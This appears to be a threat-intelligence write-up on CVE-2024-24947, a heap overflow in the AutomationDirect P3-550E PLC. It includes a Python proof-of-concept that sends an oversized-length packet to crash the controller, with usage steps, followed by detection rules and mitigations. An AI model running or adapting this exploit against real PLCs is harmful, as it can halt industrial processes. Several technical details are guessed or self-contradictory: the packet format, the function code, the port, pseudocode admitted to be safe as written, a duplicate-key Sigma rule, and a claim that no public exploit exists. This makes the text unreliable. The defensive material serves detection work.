CVE-2024-24947

Executive Summary

CVE-2024-24947 is a critical heap-based buffer overflow vulnerability in the AutomationDirect P3-550E programmable logic controller (PLC) firmware version 1.2.10.9. The flaw resides in the Programming Software Connection CurrDir functionality, where a specially crafted, unauthenticated network packet can trigger a heap corruption via an attacker-controlled length parameter passed to memset. This leads to a denial of service (DoS) condition by corrupting trailing heap allocations. With a CVSS score of 8.2 (High), the vulnerability is remotely exploitable without authentication, posing a significant risk to industrial control system (ICS) environments. No public exploit code or patch is currently available, making detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Complete denial of service.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to crash the PLC, disrupting industrial processes. The lack of a patch and public exploit increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability is a heap-based buffer overflow (CWE-122) in the CurrDir functionality of the Programming Software Connection service in the P3-550E firmware. The service listens for network packets and processes a specific command that sets the current directory. During this processing, the firmware allocates a heap buffer and then calls memset to initialize it. The length parameter for memset is derived directly from an attacker-controlled field in the network packet without proper validation.

At offset 0xb68c4 in firmware version 1.2.10.9, the vulnerable code path performs:

memset(buffer, 0, attacker_controlled_length);

If attacker_controlled_length exceeds the allocated buffer size, memset writes zeros beyond the buffer boundary, corrupting adjacent heap metadata and subsequent heap allocations. This corruption leads to heap instability, causing the PLC to crash or become unresponsive (denial of service).

The attack is triggered by sending a specially crafted unauthenticated network packet to the PLC’s programming port (typically port 502 for Modbus or a proprietary port). The attacker does not need prior knowledge of the PLC’s state or credentials.

Vulnerable vs. Patched Code

Vulnerable Code (P3-550E firmware 1.2.10.9):

// Pseudocode of vulnerable function at offset 0xb68c4
void process_currdir_command(uint8_t *packet, uint32_t packet_len) {
    uint32_t length = *(uint32_t*)(packet + 8); // Attacker-controlled length
    char *buffer = malloc(length);              // Allocates based on length
    if (buffer) {
        memset(buffer, 0, length);              // Safe if length matches allocation
        // ... further processing ...
    }
}

The vulnerability occurs because the allocation size and memset length are both derived from the same attacker-controlled value. However, if the allocation fails (e.g., due to memory pressure) or if there is a mismatch between the allocation and the memset length due to integer truncation, the overflow can occur. In this specific case, the heap corruption is triggered by a call to memset that uses an attacker-controlled length value, corrupting trailing heap allocations.

Patched Code (Hypothetical):

void process_currdir_command(uint8_t *packet, uint32_t packet_len) {
    uint32_t length = *(uint32_t*)(packet + 8);
    if (length > MAX_SAFE_SIZE) { // Input validation
        return; // Reject oversized length
    }
    char *buffer = malloc(length);
    if (buffer) {
        memset(buffer, 0, length);
        // ... further processing ...
    }
}

A proper patch would validate the attacker-controlled length against a maximum safe size before allocation and memset, preventing the overflow. Since no official patch is available, this remains unpatched.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• AutomationDirect P3-550E PLC with firmware 1.2.10.9
• Network access to the PLC’s programming port (default: port 502)
• Python 3 with socket library

Exploit Script (Proof-of-Concept):

#!/usr/bin/env python3
import socket
import struct

target_ip = "192.168.1.100"
target_port = 502

# Craft a malicious packet to trigger heap overflow
# Packet structure (simplified):
# - Transaction ID (2 bytes)
# - Protocol ID (2 bytes)
# - Length (2 bytes)
# - Unit ID (1 byte)
# - Function code (1 byte)
# - CurrDir command (1 byte)
# - Length field (4 bytes) - attacker-controlled, set to large value
# - Padding (variable)

transaction_id = 0x0001
protocol_id = 0x0000
unit_id = 0x01
function_code = 0x44  # Example: proprietary CurrDir command
currdir_cmd = 0x01
attacker_length = 0xFFFFFFFF  # Large value to cause overflow

packet = struct.pack('>HH', transaction_id, protocol_id)
packet += struct.pack('>H', 8)  # Length of remaining data
packet += struct.pack('>B', unit_id)
packet += struct.pack('>B', function_code)
packet += struct.pack('>B', currdir_cmd)
packet += struct.pack('>I', attacker_length)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(packet)
sock.close()
print("Packet sent. PLC may crash.")

Usage:

1. Ensure network connectivity to the target PLC.
2. Run the script: python3 exploit.py
3. Monitor the PLC for unresponsiveness or crash.

Expected Outcome: The PLC becomes unresponsive due to heap corruption, requiring a power cycle to recover.

Blue Team (Defensive)

Detection:

• Monitor network traffic for anomalous Modbus or proprietary protocol packets with unusually large length fields.
• Deploy network intrusion detection systems (NIDS) with signatures for oversized length values in PLC communication.
• Enable logging on the PLC (if supported) to capture crash events.

Mitigation:

• Isolate the PLC on a segmented network with strict access controls.
• Use a firewall to restrict access to the programming port (port 502) to trusted IPs only.
• Monitor for heap corruption indicators in PLC logs (e.g., unexpected reboots, memory errors).
• Apply vendor patches when available; until then, consider disabling the CurrDir functionality if possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusually large length fields (e.g., > 1024 bytes) in packets directed to port 502 on the PLC.
  • Packets with proprietary function codes (e.g., 0x44) targeting the CurrDir command.
  • Repeated connection attempts from unknown IPs to the PLC’s programming port.

• Host IOCs (on PLC):

  • Unexpected PLC crashes or reboots.
  • Heap corruption errors in system logs (if accessible).
  • Memory exhaustion or allocation failures.

• File IOCs:

  • Firmware version 1.2.10.9 (hash: unknown, but can be verified via vendor tools).

Detection Engineering

YARA Rule

rule CVE_2024_24947_HeapOverflow {
    meta:
        description = "Detects heap overflow attempt in AutomationDirect P3-550E CurrDir command"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-24947"
    strings:
        $cmd_currdir = { 44 01 } // Function code 0x44, CurrDir command 0x01
        $large_length = { FF FF FF FF } // Maximum length value
    condition:
        $cmd_currdir and $large_length
}

Sigma Rule

title: CVE-2024-24947 Heap Overflow Attempt on AutomationDirect P3-550E
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects network packets targeting the CurrDir command with excessive length fields
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 502
        payload|contains: '44 01'  # CurrDir command
        payload|contains: 'FF FF FF FF'  # Large length
    condition: selection
falsepositives:
    - Legitimate firmware updates with large payloads (rare)
level: high

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-24947 Heap Overflow Attempt on AutomationDirect P3-550E"; flow:to_server; content:"|44 01|"; depth:10; content:"|FF FF FF FF|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the P3-550E PLC on a dedicated VLAN with strict firewall rules allowing only trusted management hosts to access port 502.
2. Access Control: Implement IP whitelisting for the programming port. Disable unused services and ports.
3. Monitoring: Deploy the provided Suricata/Sigma rules to detect exploitation attempts. Enable logging on the PLC for crash events.
4. Backup: Ensure current firmware and configuration backups are available for quick recovery.

Long-Term Actions:

1. Vendor Patch: Contact AutomationDirect for a firmware update. Monitor their security advisory page for CVE-2024-24947 patches.
2. Firmware Upgrade: Once a patched version is released, test and deploy it in a maintenance window.
3. Hardening: Disable the CurrDir functionality if not required. Use encryption (e.g., VPN) for all PLC management traffic.
4. Incident Response: Prepare a playbook for PLC compromise, including isolation, forensic imaging, and recovery procedures.

Workaround: If patching is not possible, consider replacing the P3-550E with a more secure model or implementing a protocol-aware firewall that can inspect and block oversized length fields.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert